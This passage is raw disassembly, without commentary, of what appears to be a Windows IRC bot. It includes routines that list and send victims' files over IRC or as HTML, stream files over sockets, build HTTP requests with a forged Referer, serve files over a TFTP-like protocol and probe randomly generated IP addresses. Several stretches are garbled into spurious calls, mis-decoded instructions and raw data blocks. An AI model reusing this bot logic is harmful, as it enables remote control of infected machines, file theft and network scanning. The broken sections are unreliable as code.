[ebp+var_248] push ebx push eax call sub_413DB0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call ds:dword_42F758 lea eax, [ebp+var_35C] push eax call sub_413DB0 cmp eax, 1Eh pop ecx lea eax, [ebp+var_35C] push eax jbe short loc_404C1A push offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>" jmp short loc_404C1F ; --------------------------------------------------------------------------- loc_404C1A: ; CODE XREF: sub_404858+3B9j push offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>" loc_404C1F: ; CODE XREF: sub_404858+3C0j lea eax, [ebp+var_248] push edi push eax call sub_413B2A add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_413DB0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call ds:dword_42F758 lea eax, [ebp+var_48] push 3Ch push eax push 96h push offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... push edi jmp loc_404DE7 ; --------------------------------------------------------------------------- loc_404C64: ; CODE XREF: sub_404858+325j lea eax, [ebp+var_35C] push eax push offset aS_0 ; "<%s>" lea eax, [ebp+var_490] push 106h push eax call sub_413B2A lea eax, [ebp+var_48] push eax lea eax, [ebp+var_490] push eax push offset a31s21s ; "%-31s %-21s\r\n" loc_404C91: ; CODE XREF: sub_404858+476j lea eax, [ebp+var_248] push esi push eax call sub_413B2A add esp, 24h jmp loc_404DF6 ; --------------------------------------------------------------------------- loc_404CA6: ; CODE XREF: sub_404858+2CFj inc [ebp+var_4] cmp [ebp+arg_8], ebx jz short loc_404CD0 push ebx push [ebp+var_368] call sub_40A6A6 push eax lea eax, [ebp+var_48] push eax lea eax, [ebp+var_35C] push eax push [ebp+arg_8] push offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s %-21s (%s bytes)\n" jmp short loc_404C91 ; --------------------------------------------------------------------------- loc_404CD0: ; CODE XREF: sub_404858+454j cmp [ebp+arg_C], ebx jz loc_404DD0 push 0E6h push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_248] push edi push eax call sub_413B2A add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_413DB0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call ds:dword_42F758 lea eax, [ebp+var_35C] push eax lea eax, [ebp+var_248] push [ebp+arg_C] push offset aSS_2 ; "%s%s" push edi push eax call sub_413B2A add esp, 14h lea eax, [ebp+var_248] push ebx push eax call sub_413DB0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call ds:dword_42F758 lea eax, [ebp+var_35C] push eax call sub_413DB0 cmp eax, 1Fh pop ecx lea eax, [ebp+var_35C] push eax jbe short loc_404D70 push offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>" jmp short loc_404D75 ; --------------------------------------------------------------------------- loc_404D70: ; CODE XREF: sub_404858+50Fj push offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>" loc_404D75: ; CODE XREF: sub_404858+516j lea eax, [ebp+var_248] push edi push eax call sub_413B2A add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_413DB0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call ds:dword_42F758 mov eax, [ebp+var_368] shr eax, 0Ah push eax lea eax, [ebp+var_48] push 3Ch push eax push 96h push offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... lea eax, [ebp+var_248] push edi push eax call sub_413B2A add esp, 1Ch jmp short loc_404DF6 ; --------------------------------------------------------------------------- loc_404DD0: ; CODE XREF: sub_404858+47Bj push [ebp+var_368] lea eax, [ebp+var_48] push eax lea eax, [ebp+var_35C] push eax push offset a31s21sIBytes ; "%-31s %-21s (%i bytes)\r\n" push esi loc_404DE7: ; CODE XREF: sub_404858+407j lea eax, [ebp+var_248] push eax call sub_413B2A add esp, 18h loc_404DF6: ; CODE XREF: sub_404858+31Dj ; sub_404858+449j ... lea eax, [ebp+var_248] push ebx push eax call sub_413DB0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call ds:dword_42F758 cmp [ebp+arg_8], ebx jz short loc_404E25 push 7D0h call ds:dword_41F058 ; Sleep loc_404E25: ; CODE XREF: sub_404858+226j ; sub_404858+241j ... lea eax, [ebp+var_388] push eax push [ebp+arg_0] call ds:dword_41F08C ; FindNextFileA test eax, eax jnz loc_404A78 loc_404E3D: ; CODE XREF: sub_404858+215j push [ebp+arg_0] call near ptr 0A70000h sub eax, 74105D39h xor eax, 99F8458Bh push edx push eax call sub_40A6A6 pop ecx pop ecx push eax mov eax, [ebp+var_4] cdq push edx push eax call sub_40A6A6 pop ecx pop ecx push eax lea eax, [ebp+var_248] push [ebp+arg_8] push offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"... push eax call sub_4135AD add esp, 14h jmp short loc_404EB4 ; --------------------------------------------------------------------------- cmp [ebp+arg_C], ebx jz short loc_404E9A lea eax, [ebp+var_248] push offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... push eax call sub_4135AD pop ecx pop ecx jmp short loc_404EB4 ; --------------------------------------------------------------------------- loc_404E9A: ; CODE XREF: sub_404858+62Bj push [ebp+var_8] lea eax, [ebp+var_248] push [ebp+var_4] push offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n" push eax call sub_4135AD add esp, 10h loc_404EB4: ; CODE XREF: sub_404858+626j ; sub_404858+640j lea eax, [ebp+var_248] push ebx push eax call sub_413DB0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call ds:dword_42F758 pop edi pop esi xor eax, eax pop ebx leave retn sub_404858 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404EDA proc near ; CODE XREF: sub_403FCB+596p var_404 = byte ptr -404h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 404h push ebx push esi xor esi, esi push edi push esi push esi push 3 push esi push 1 push 80000000h push [ebp+arg_4] mov edi, 400h mov [ebp+var_4], esi call ds:dword_41F078 ; CreateFileA mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_404F92 push esi push ebx call near ptr 0A70000h cwde cmp eax, esi mov [ebp+arg_4], eax jz short loc_404F8B loc_404F1F: ; CODE XREF: sub_404EDA+AFj push 400h lea eax, [ebp+var_404] push esi push eax call sub_413630 add esp, 0Ch cmp edi, [ebp+arg_4] jbe short loc_404F3C mov edi, [ebp+arg_4] loc_404F3C: ; CODE XREF: sub_404EDA+5Dj mov eax, [ebp+arg_4] push 2 neg eax push esi push eax push ebx call ds:dword_41F098 ; SetFilePointer lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+var_404] push edi push eax push ebx call ds:dword_41F094 ; ReadFile push esi lea eax, [ebp+var_404] push edi push eax push [ebp+arg_0] call ds:dword_42F758 cmp eax, 0FFFFFFFFh jnz short loc_404F86 call ds:dword_42F69C cmp eax, 2733h jnz short loc_404F8B xor eax, eax loc_404F86: ; CODE XREF: sub_404EDA+9Bj sub [ebp+arg_4], eax jnz short loc_404F1F loc_404F8B: ; CODE XREF: sub_404EDA+43j ; sub_404EDA+A8j push ebx call ds:dword_41F070 ; CloseHandle loc_404F92: ; CODE XREF: sub_404EDA+30j pop edi pop esi pop ebx leave retn sub_404EDA endp ; =============== S U B R O U T I N E ======================================= sub_404F97 proc near ; CODE XREF: seg000:00404724p arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] xor esi, esi push edi call sub_413DB0 test eax, eax pop ecx jbe short loc_404FC0 loc_404FAA: ; CODE XREF: sub_404F97+27j cmp byte ptr [esi+edi], 5Ch jnz short loc_404FB4 mov byte ptr [esi+edi], 2Fh loc_404FB4: ; CODE XREF: sub_404F97+17j push edi inc esi call sub_413DB0 cmp esi, eax pop ecx jb short loc_404FAA loc_404FC0: ; CODE XREF: sub_404F97+11j mov eax, edi pop edi pop esi retn sub_404F97 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404FC5 proc near ; CODE XREF: seg000:0040DE30p var_4A0 = byte ptr -4A0h var_310 = byte ptr -310h var_110 = byte ptr -110h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 4A0h push ebx lea eax, [ebp+var_4A0] push edi push eax push 101h call ds:dword_42F680 push 6 push 1 push 2 call ds:dword_42F788 mov ebx, eax xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_413630 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_14] call ds:dword_42F708 push [ebp+arg_10] mov [ebp+var_E], ax call sub_408503 pop ecx mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push ebx call ds:dword_42F6B0 cmp eax, 0FFFFFFFFh jz short loc_4050A2 mov eax, [ebp+arg_20] cmp eax, edi jnz short loc_40503E mov eax, offset byte_42E348 loc_40503E: ; CODE XREF: sub_404FC5+72j push esi mov esi, 100h push [ebp+arg_10] push eax lea eax, [ebp+var_110] push [ebp+arg_1C] push [ebp+arg_18] push offset aSSHttp1_1Refer ; "%s %s HTTP/1.1\nReferer: %s\nHost: %s\nCon"... push esi push eax call sub_413B2A add esp, 1Ch lea eax, [ebp+var_110] push edi push eax call sub_413DB0 pop ecx push eax lea eax, [ebp+var_110] push eax push ebx call ds:dword_42F758 push esi lea eax, [ebp+var_110] push edi push eax call sub_413690 add esp, 0Ch lea eax, [ebp+var_110] push edi push esi push eax push ebx call ds:dword_42F720 pop esi loc_4050A2: ; CODE XREF: sub_404FC5+6Bj push ebx call ds:dword_42F7A0 call ds:dword_42F668 lea eax, [ebp+var_110] push eax lea eax, [ebp+var_310] push eax call sub_4135AD cmp [ebp+arg_C], edi pop ecx pop ecx jnz short loc_4050E2 push edi lea eax, [ebp+var_310] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4110B0 add esp, 14h loc_4050E2: ; CODE XREF: sub_404FC5+102j pop edi pop ebx leave retn sub_404FC5 endp ; --------------------------------------------------------------------------- loc_4050E6: ; CODE XREF: seg000:loc_4055D1p ; DATA XREF: seg000:00410251o push ebp mov ebp, esp sub esp, 884h push ebx push esi push edi mov edx, [ebp+8] mov esi, offset aOctet ; "octet" lea edi, [ebp-1Ch] movsd push 1 xor ebx, ebx movsw pop eax mov ecx, 0A9h mov esi, edx lea edi, [ebp-37Ch] push ebx push 2 rep movsd inc dword ptr [ebp-16Ch] push 2 mov [ebp-0Ch], eax mov [edx+2A0h], eax call ds:dword_42F788 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp-10h], edi jnz short near ptr loc_4051A8+1 push 190h call ds:dword_41F058 ; Sleep call ds:dword_42F69C push eax lea eax, [ebp-780h] push offset unk_423628 push eax call sub_4135AD add esp, 0Ch cmp [ebp-0E0h], ebx jnz short loc_405189 push ebx lea eax, [ebp-780h] push dword ptr [ebp-0E4h] push eax lea eax, [ebp-164h] push eax push dword ptr [ebp-37Ch] call sub_4110B0 add esp, 14h loc_405189: ; CODE XREF: seg000:00405164j lea eax, [ebp-780h] push eax call sub_409615 push dword ptr [ebp-170h] call sub_413375 pop ecx pop ecx push ebx call near ptr 0A70000h loc_4051A8: ; CODE XREF: seg000:00405136j mov al, 8Bh test [eax+6AFFFFFEh], edx adc [ecx-40h], ch xor al, 2 ; --------------------------------------------------------------------------- db 2 dup(0), 53h ; --------------------------------------------------------------------------- mov ds:dword_4348A4[eax], edi lea eax, [ebp-44h] push eax call sub_413630 add esp, 0Ch mov word ptr [ebp-44h], 2 push dword ptr [ebp-168h] call ds:dword_42F708 mov [ebp-42h], ax lea eax, [ebp-44h] push 10h push eax push edi mov [ebp-40h], ebx call ds:dword_42F734 cmp eax, 0FFFFFFFFh jnz short loc_40520E push 1388h call ds:dword_41F058 ; Sleep dec dword ptr [ebp-16Ch] push dword ptr [ebp+8] jmp loc_4055D1 ; --------------------------------------------------------------------------- loc_40520E: ; CODE XREF: seg000:004051F3j lea eax, [ebp-378h] push offset aRb ; "rb" push eax call sub_413CA8 pop ecx cmp eax, ebx pop ecx mov [ebp-8], eax jnz short near ptr loc_40528B+1 push 190h call ds:dword_41F058 ; Sleep lea eax, [ebp-378h] push eax lea eax, [ebp-780h] push offset unk_4235D8 push eax call sub_4135AD push ebx lea eax, [ebp-780h] push dword ptr [ebp-0E4h] push eax lea eax, [ebp-164h] push eax push dword ptr [ebp-37Ch] call sub_4110B0 lea eax, [ebp-780h] push eax call sub_409615 push dword ptr [ebp-170h] call sub_413375 add esp, 28h push ebx call near ptr 0A70000h loc_40528B: ; CODE XREF: seg000:00405226j db 3Eh mov esi, 200h loc_405291: ; CODE XREF: seg000:0040558Bj mov eax, [ebp+8] cmp [eax+2A0h], ebx jz loc_405591 mov [ebp-880h], edi mov edi, 80h push edi lea eax, [ebp-0D8h] push ebx push eax mov dword ptr [ebp-34h], 5 mov dword ptr [ebp-30h], 1388h mov dword ptr [ebp-884h], 1 call sub_413630 add esp, 0Ch lea eax, [ebp-34h] push eax push ebx lea eax, [ebp-884h] push ebx push eax push ebx call ds:dword_42F6F0 test eax, eax jle loc_405585 mov al, ds:byte_42E348 mov ecx, edi mov [ebp-580h], al xor eax, eax lea edi, [ebp-57Fh] mov dword ptr [ebp-4], 10h rep stosd stosw stosb mov edi, [ebp-10h] lea eax, [ebp-4] push eax lea eax, [ebp-2Ch] push eax push ebx lea eax, [ebp-0D8h] push 80h push eax push edi call ds:dword_42F6E0 push dword ptr [ebp-28h] mov [ebp-0Ch], eax call ds:dword_42F794 push eax lea eax, [ebp-58h] push eax call sub_4135AD cmp [ebp-0D8h], bl pop ecx pop ecx jnz loc_40556F cmp byte ptr [ebp-0D7h], 1 jnz loc_4054BB lea eax, [ebp-274h] push eax call sub_413DB0 lea eax, [ebp+eax-0D5h] mov [ebp-14h], eax lea eax, [ebp-274h] push eax call sub_413DB0 push eax lea eax, [ebp-0D6h] push eax lea eax, [ebp-274h] push eax call sub_414F60 add esp, 14h test eax, eax jnz loc_405475 lea eax, [ebp-1Ch] push eax call sub_413DB0 push eax lea eax, [ebp-1Ch] push dword ptr [ebp-14h] push eax call sub_414F60 add esp, 10h test eax, eax jnz loc_405475 push ebx push ebx push dword ptr [ebp-8] call sub_414ECE push dword ptr [ebp-8] lea eax, [ebp-57Ch] mov [ebp-580h], bl mov byte ptr [ebp-57Fh], 3 push esi push 1 push eax mov [ebp-57Eh], bl mov byte ptr [ebp-57Dh], 1 call sub_414C40 add esp, 1Ch lea ecx, [ebp-2Ch] mov [ebp-0Ch], eax add eax, 4 push dword ptr [ebp-4] push ecx push ebx push eax lea eax, [ebp-580h] push eax push edi call ds:dword_42F76C lea eax, [ebp-378h] push eax lea eax, [ebp-58h] push eax push offset unk_423584 loc_405429: ; CODE XREF: seg000:0040556Aj lea eax, [ebp-780h] push eax call sub_4135AD add esp, 10h cmp [ebp-0E0h], ebx jnz short loc_405463 push ebx lea eax, [ebp-780h] push dword ptr [ebp-0E4h] push eax lea eax, [ebp-164h] push eax push dword ptr [ebp-37Ch] call sub_4110B0 add esp, 14h loc_405463: ; CODE XREF: seg000:0040543Ej lea eax, [ebp-780h] push eax call sub_409615 pop ecx jmp loc_405585 ; --------------------------------------------------------------------------- loc_405475: ; CODE XREF: seg000:0040539Cj ; seg000:004053BDj push dword ptr [ebp-4] lea eax, [ebp-2Ch] push eax push ebx push 13h push offset dword_423570 push edi call ds:dword_42F76C lea eax, [ebp-274h] push eax lea eax, [ebp-58h] push eax lea eax, [ebp-0D8h] push offset unk_423534 push eax call sub_4135AD lea eax, [ebp-0D8h] push eax call sub_409615 add esp, 14h jmp loc_405585 ; --------------------------------------------------------------------------- loc_4054BB: ; CODE XREF: seg000:0040535Bj cmp byte ptr [ebp-0D7h], 4 jnz loc_40556F mov cl, [ebp-0D5h] mov al, [ebp-0D6h] cmp cl, 0FFh mov [ebp-580h], bl mov byte ptr [ebp-57Fh], 3 jnz short loc_4054F8 inc al xor cl, cl mov [ebp-57Eh], al mov [ebp-57Dh], bl jmp short loc_405506 ; --------------------------------------------------------------------------- loc_4054F8: ; CODE XREF: seg000:004054E4j inc cl mov [ebp-57Eh], al mov [ebp-57Dh], cl loc_405506: ; CODE XREF: seg000:004054F6j movzx eax, al movzx ecx, cl shl eax, 8 add eax, ecx push ebx shl eax, 9 sub eax, esi push eax push dword ptr [ebp-8] call sub_414ECE push dword ptr [ebp-8] lea eax, [ebp-57Ch] push esi push 1 push eax call sub_414C40 add esp, 1Ch mov edi, eax lea eax, [ebp-2Ch] mov [ebp-0Ch], edi push dword ptr [ebp-4] push eax lea eax, [edi+4] push ebx push eax lea eax, [ebp-580h] push eax push dword ptr [ebp-10h] call ds:dword_42F76C cmp edi, ebx jnz short loc_405585 lea eax, [ebp-378h] push eax lea eax, [ebp-58h] push eax push offset dword_4234E4 jmp loc_405429 ; --------------------------------------------------------------------------- loc_40556F: ; CODE XREF: seg000:0040534Ej ; seg000:004054C2j push dword ptr [ebp-4] lea eax, [ebp-2Ch] push eax push ebx push 9 push offset dword_4234D8 push edi call ds:dword_42F76C loc_405585: ; CODE XREF: seg000:004052EAj ; seg000:00405470j ... cmp [ebp-0Ch], ebx mov edi, [ebp-10h] jg loc_405291 loc_405591: ; CODE XREF: seg000:0040529Aj push edi call ds:dword_42F7A0 push dword ptr [ebp-8] call sub_413C00 mov esi, [ebp+8] dec dword ptr [ebp-16Ch] pop ecx cmp [esi+2A0h], ebx jnz short loc_4055C5 push dword ptr [ebp-170h] call sub_413375 pop ecx push ebx call near ptr 0A70000h stosb loc_4055C5: ; CODE XREF: seg000:004055B0j push 3E8h call ds:dword_41F058 ; Sleep push esi loc_4055D1: ; CODE XREF: seg000:00405209j call loc_4050E6 pop edi pop esi pop ebx leave retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4055DD proc near ; CODE XREF: seg000:00410AF8p var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 400h push ebx push edi lea eax, [ebp+var_200] push offset unk_423774 push eax xor ebx, ebx call sub_4135AD cmp ds:dword_4236A0, ebx pop ecx pop ecx mov edi, 200h jz short loc_40564B push esi mov esi, offset dword_4236A8 loc_405610: ; CODE XREF: sub_4055DD+6Bj mov eax, [esi] add ebx, eax push eax lea eax, [esi-26h] push eax lea eax, [ebp+var_400] push offset aSD ; " %s: %d," push eax call sub_4135AD lea eax, [ebp+var_400] push edi push eax lea eax, [ebp+var_200] push eax call sub_414FA0 add esi, 3Ch add esp, 1Ch cmp dword ptr [esi-8], 0 jnz short loc_405610 pop esi loc_40564B: ; CODE XREF: sub_4055DD+2Bj push ds:dword_45DB88 call sub_408E5A push eax push ebx lea eax, [ebp+var_400] push offset aTotalDInS_ ; " Total: %d in %s." push eax call sub_4135AD lea eax, [ebp+var_400] push edi push eax lea eax, [ebp+var_200] push eax call sub_414FA0 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4110B0 lea eax, [ebp+var_200] push eax call sub_409615 add esp, 38h pop edi pop ebx leave retn sub_4055DD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4056A7 proc near ; CODE XREF: seg000:00410465p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push 8 call sub_4132A1 test eax, eax pop ecx jle short loc_4056E3 mov eax, [ebp+arg_C] push ds:dword_42E358[eax*8] call ds:dword_42F794 push eax lea eax, [ebp+var_200] push offset unk_4237E0 push eax call sub_4135AD add esp, 0Ch jmp short loc_4056F6 ; --------------------------------------------------------------------------- loc_4056E3: ; CODE XREF: sub_4056A7+13j lea eax, [ebp+var_200] push offset unk_4237AC push eax call sub_4135AD pop ecx pop ecx loc_4056F6: ; CODE XREF: sub_4056A7+3Aj push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4110B0 lea eax, [ebp+var_200] push eax call sub_409615 add esp, 18h leave retn sub_4056A7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40571E proc far ; CODE XREF: sub_405E47+4Fp var_204 = byte ptr -204h var_4 = byte ptr -4 arg_C = byte ptr 18h arg_10C = dword ptr 118h arg_12C = dword ptr 138h arg_134 = dword ptr 140h arg_138 = dword ptr 144h push ebp mov ebp, esp sub esp, 204h mov eax, [ebp+arg_12C] push ebx cmp eax, 0FFFFFFFFh push esi jz loc_405AAE imul eax, 3Ch xor ebx, ebx cmp ds:dword_4236AC[eax], ebx jz loc_40598F push 4 call sub_4132A1 test eax, eax pop ecx jnz loc_405AAE mov eax, ds:dword_428228 push edi mov edi, offset dword_42ECD4 push 104h push edi push ebx mov ds:dword_42EEE4, eax mov ds:dword_42EEE0, ebx call near ptr 0A70000h retf 368h ; --------------------------------------------------------------------------- dw 1 dd 0EDD8BE00h, 90680042h, 56004282h, 0F63FE8h, 18858B00h dd 83000001h, 9D380CC4h, 98h, 42ECD0A3h, 40858B00h, 6A000001h dd 0EF68A37Fh, 1D750042h, 5018458Dh, 42EEE868h, 0F60EE800h dd 0C4830000h, 6C05C70Ch, 10042EFh, 0EB000000h, 98858D1Ah dd 50000000h, 42EEE868h, 0F5EEE800h, 0C4830000h, 6C1D890Ch dd 560042EFh, 0E435FF57h, 8D0042EEh, 0FFFDFC85h, 398C68FFh dd 0E8500042h, 0DDA9h, 0FC858D53h, 6AFFFFFDh, 46E85004h dd 830000D8h, 0DCA320C4h, 8D0042EEh, 5350FC45h, 42ECD068h dd 50E66800h, 53530040h, 0F06C15FFh, 0D8B0041h, 42EEDCh dd 234C969h, 0C33B0000h, 48AC8189h, 12740043h, 0EF701D39h dd 25750042h, 15FF326Ah, 41F058h, 15FFEEEBh, 41F068h, 0FC858D50h dd 68FFFFFDh, 423944h, 0DD3BE850h, 0C4830000h, 0FC858D0Ch dd 50FFFFFDh, 3D94E8h, 0F32CBF00h, 4C70042h, 10424h, 89535700h dd 42F5381Dh, 0A766E800h, 68820066h, 103h, 42F430BEh, 82906800h dd 0E8560042h, 0F520h, 118858Bh, 0C4830000h, 989D380Ch dd 0A3000000h, 42F328h, 140858Bh, 7F6A0000h, 42F5C0A3h dd 8D1D7500h, 68501845h, 42F540h, 0F4EFE8h, 0CC48300h dd 0F5C405C7h, 10042h, 1AEB0000h, 98858Dh, 68500000h, 42F540h dd 0F4CFE8h, 0CC48300h, 0F5C41D89h, 57560042h, 0F53C35FFh dd 858D0042h, 0FFFFFDFCh, 4238F068h, 8AE85000h, 530000DCh dd 0FDFC858Dh, 56AFFFFh, 0D727E850h, 0C4830000h, 0F534A320h dd 458D0042h, 685350FCh, 42F328h, 4038B168h, 0FF535300h dd 41F06C15h, 340D8B00h, 5F0042F5h, 234C969h, 0C33B0000h dd 48AC8189h, 16740043h, 0F5C81D39h, 850F0042h, 12Dh, 15FF326Ah dd 41F058h, 15FFEAEBh, 41F068h, 38AC6850h, 3E90042h db 1, 2 dup(0) ; --------------------------------------------------------------------------- loc_40598F: ; CODE XREF: sub_40571E+25j cmp ds:dword_4236B0[eax], ebx jz loc_405AAE push 3 call sub_4132A1 test eax, eax pop ecx jnz loc_405AAE mov esi, offset dword_42F204 push 104h push esi push ebx call near ptr 0A70000h xor ebp, [edx+5Ch] push esi call sub_4150D0 pop ecx cmp eax, ebx pop ecx jz short loc_4059CD mov [eax], bl loc_4059CD: ; CODE XREF: sub_40571E+2ABj mov eax, ds:dword_42822C mov ds:dword_42F31C, ebx mov ds:dword_42F308, eax lea eax, [ebp+arg_C] push eax push offset dword_42EF7C call sub_4135AD mov eax, [ebp+arg_10C] pop ecx pop ecx mov ds:dword_42EF78, eax mov ecx, [ebp+arg_134] push esi push ds:dword_42F308 mov ds:dword_42F314, ecx mov ecx, [ebp+arg_138] push eax mov ds:dword_42F318, ecx call sub_408619 pop ecx push eax lea eax, [ebp+var_204] push offset dword_42385C push eax call sub_4135AD push ebx lea eax, [ebp+var_204] push 3 push eax call sub_413059 add esp, 20h mov ds:dword_42F310, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_42EF78 push offset sub_403FCB push ebx push ebx call ds:dword_41F06C ; CreateThread mov ecx, ds:dword_42F310 imul ecx, 234h cmp eax, ebx mov ds:dword_4348AC[ecx], eax jz short loc_405A86 loc_405A74: ; CODE XREF: sub_40571E+366j cmp ds:dword_42F324, ebx jnz short loc_405AA1 push 32h call ds:dword_41F058 ; Sleep jmp short loc_405A74 ; --------------------------------------------------------------------------- loc_405A86: ; CODE XREF: sub_40571E+354j call ds:dword_41F068 ; RtlGetLastWin32Error push eax push offset unk_423814 lea eax, [ebp+var_204] push eax call sub_4135AD add esp, 0Ch loc_405AA1: ; CODE XREF: sub_40571E+35Cj lea eax, [ebp+var_204] push eax call sub_409615 pop ecx loc_405AAE: ; CODE XREF: sub_40571E+14j ; sub_40571E+35j ... pop esi pop ebx leave retn sub_40571E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405AB2 proc near ; CODE XREF: sub_405C33:loc_405CA4p arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] push esi push 4 lea esi, ds:42E358h[eax*8] lea eax, [ebp+arg_0] push esi push eax call sub_413690 add esp, 0Ch push [ebp+arg_0] call ds:dword_42F63C inc eax push eax mov [ebp+arg_0], eax call ds:dword_42F704 mov [ebp+arg_0], eax lea eax, [ebp+arg_0] push 4 push eax push esi call sub_413690 mov eax, [esi] add esp, 0Ch pop esi pop ebp retn sub_405AB2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405AFA proc near ; CODE XREF: sub_405C33+69p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi or esi, 0FFFFFFFFh push [ebp+arg_0] mov [ebp+var_C], esi mov [ebp+var_8], esi mov [ebp+var_4], esi mov [ebp+var_10], esi call sub_413DB0 cmp eax, 0Fh pop ecx jbe short loc_405B22 xor eax, eax jmp short loc_405B93 ; --------------------------------------------------------------------------- loc_405B22: ; CODE XREF: sub_405AFA+22j lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_C] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push [ebp+arg_0] call sub_414B30 add esp, 18h cmp [ebp+var_C], esi jnz short loc_405B4F call sub_413609 mov [ebp+var_C], eax loc_405B4F: ; CODE XREF: sub_405AFA+4Bj cmp [ebp+var_8], esi jnz short loc_405B5C call sub_413609 mov [ebp+var_8], eax loc_405B5C: ; CODE XREF: sub_405AFA+58j cmp [ebp+var_4], esi jnz short loc_405B69 call sub_413609 mov [ebp+var_4], eax loc_405B69: ; CODE XREF: sub_405AFA+65j mov eax, [ebp+var_10] cmp eax, esi jnz short loc_405B75 call sub_413609 loc_405B75: ; CODE XREF: sub_405AFA+74j shl eax, 8 add eax, [ebp+var_4] mov ecx, [ebp+var_C] shl eax, 8 add eax, [ebp+var_8] shl eax, 8 add eax, ecx mov ecx, [ebp+arg_4] mov ds:dword_42E358[ecx*8], eax loc_405B93: ; CODE XREF: sub_405AFA+26j pop esi leave retn sub_405AFA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405B96 proc near ; CODE XREF: sub_405C33+B8p var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 120h push ebx push esi push edi push 1 pop edi xor ebx, ebx push ebx push edi push 2 mov [ebp+var_4], edi call ds:dword_42F788 mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_405BBF xor eax, eax jmp short loc_405C2E ; --------------------------------------------------------------------------- loc_405BBF: ; CODE XREF: sub_405B96+23j mov eax, [ebp+arg_0] push [ebp+arg_4] mov [ebp+var_1C], 2 mov [ebp+var_18], eax call ds:dword_42F708 mov [ebp+var_1A], ax lea eax, [ebp+var_4] push eax push 8004667Eh push esi call ds:dword_42F7A4 lea eax, [ebp+var_1C] push 10h push eax push esi call ds:dword_42F6B0 mov eax, [ebp+arg_8] mov [ebp+var_8], ebx mov [ebp+var_C], eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_120] push ebx push eax push ebx push ebx mov [ebp+var_11C], esi mov [ebp+var_120], edi call ds:dword_42F6F0 push esi mov edi, eax call ds:dword_42F7A0 xor eax, eax cmp edi, ebx setnle al loc_405C2E: ; CODE XREF: sub_405B96+27j pop edi pop esi pop ebx leave retn sub_405B96 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405C33 proc near ; DATA XREF: sub_405E47+13Bo var_2A8 = dword ptr -2A8h var_28C = 